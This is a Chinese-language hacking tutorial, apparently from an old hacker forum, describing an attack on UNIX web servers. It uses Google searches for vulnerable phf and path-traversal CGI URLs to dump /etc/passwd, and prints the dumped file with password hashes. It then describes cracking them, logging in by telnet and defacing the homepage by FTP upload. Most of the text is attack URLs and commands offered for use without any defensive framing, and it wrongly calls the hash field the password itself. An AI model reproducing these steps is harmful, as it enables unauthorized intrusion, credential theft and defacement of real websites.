本文将介绍一种针对UNIX系统的phf漏洞攻击方法,结合密码破解技术,从而获取系统最高权限。
首先,连接互联网,打开知名的网络扫描工具:Google搜索引擎。随着Google搜索技术的不断升级,如今利用它扫描远程URL漏洞已变得十分简单,甚至可能泄露信用卡用户信息。使用Google搜索以下代码:
/cgi-bin/phf?Qalias=xless /etc/passwd
/cgi-bin/phf.cgi?/etc/passwd
/cgi-bin/loadpage.cgi?user_id=1&file=/../../../../../../../../etc/passwd
瞬间,几百个符合条件的搜索结果呈现出来。然而,真正存在该漏洞的网站并不多。呵呵,没想到还真找到了几个可用的:
https://www.hehe.com/cgi-bin/php.cgi?/etc/passwd
root:abcdefghijklmn:0:0:root:/root:/bin/bash
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/sbin:
adm:*:3:4:adm:/var/adm:
lp:*:4:7:lp:/var/spool/lpd:
sync:*:5:0:sync:/sbin:/bin/sync
shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown
halt:*:7:0:halt:/sbin:/sbin/halt
mail:*:8:12:mail:/var/spool/mail:
news:*:9:13:news:/usr/lib/news:
uucp:*:10:14:uucp:/var/spool/uucppublic:
operator:*:11:0:operator:/root:/bin/bash
games:*:12:100:games:/usr/games:
man:*:13:15:man:/usr/man:
postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash
nobody:*:-1:100:nobody:/dev/null:
ftp:*:404:1::/home/ftp:/bin/bash
guest:*:405:100:guest:/dev/null:/dev/null
shan:Ca3LGA8gqDV4A:501:20:Shan Huang:/home/staff/shan:/bin/bash
www:/U5N5/l0B.jWo:502:20:WWW Manager:/home/staff/www:/bin/bash
test:aFoIbr40sdbiSw:503:100:test:/home/test:/bin/bash
fax:aHhi5ZoJwWOGtc:504:100:FAX_SERVICE:/home/staff/fax:/bin/bash
women:IiO94G5YrrFfU:505:100:Perfect Women:/home/w3/women:/bin/bash
kanglin:aMjy/8maF4ZPHA:506:100:Kanglin:/home/w3/kanglin:/bin/bash
coffee:AlwDa18Au9IPg:507:100:Coffee:/home/w3/coffee:/bin/bash
bakery:aFm7GUGCuyfP2w:508:100:Bakery:/home/w3/bakery:/bin/bash
carven:aPaqr3QAdw8zbk:509:100:Carven:/home/w3/carven:/bin/bash
haurey:/2m87VjXC742s:510:100:Haurey:/home/w3/haurey:/bin/bash
prime:nPOlsQhQFJ.aM:511:100:Prime:/home/w3/prime:/bin/bash
tham:H2AOlPozwIIuo:512:100:xxxxxxxxxx:/home/w3/tham:/bin/bash
ccc:aFiKAE2saiJCMo:513:100:ccc:/home/w3/ccc:/bin/bash
sk:UPrcTmnVSkd3w:514:100:sk:/home/sk:/bin/bash
services:9yBqHWfnnNr.k:515:100:xxxx:/home/w3/haurey/services:/bin/bash
什么?不清楚这是什么?没有搞错!这就是UNIX系统的密码文件,其中存储了用户的账号和密码等信息。例如,'sk:UPrcTmnVSkd3w:514:100:sk:/home/sk:/bin/bash' 这一行表示用户名为sk的账户信息,其中UPrcTmnVSkd3w是sk用户的密码,514是用户ID,100是组ID,中间的sk是用户注释,/home/sk是用户主目录,最后的/bin/bash是登录后执行的Shell程序。说了这么多,喝杯Coffee休息一下,呵呵!
在浏览器中打开这个密码文件,并将其下载到本地。接着使用小榕兄开发的“乱刀”工具进行破解。设置好参数后开始运行。闲来无事,便在一旁聊天等待。没过多久,就看到一大串密码被成功破解,成就感满满,呵呵。
现在,利用破解出的账号登录系统:
telnet www.hehe.com
SUN OS 5.7
login: sk
passwd:xxxxxxx
#who(查看系统管理员是否在线,以确保安全)
sk(呵呵,只有一个人在线)
(发现该用户具有管理员权限,呵呵,准备修改他的主页!)
#ls
dev/ proc/ usr/ bin/ etc/ local/ root/
var/ boot/ home/ lost found/ sbin/
#cd home/www(通常Web页面存放在home/目录下)
#ls
index.html main.html help.html ......
好的,现在另开一个终端窗口,将制作好的黑页通过FTP上传:
ftp www.hehe.com
ftp>put d:\index.html
切换回原来的窗口,找到上传的index.html文件:
#find . -name "index.html"
index.html(呵呵,就在当前目录下)
#cp index.html /home/www/
呵呵,打开浏览器查看,发现主页已被成功修改!
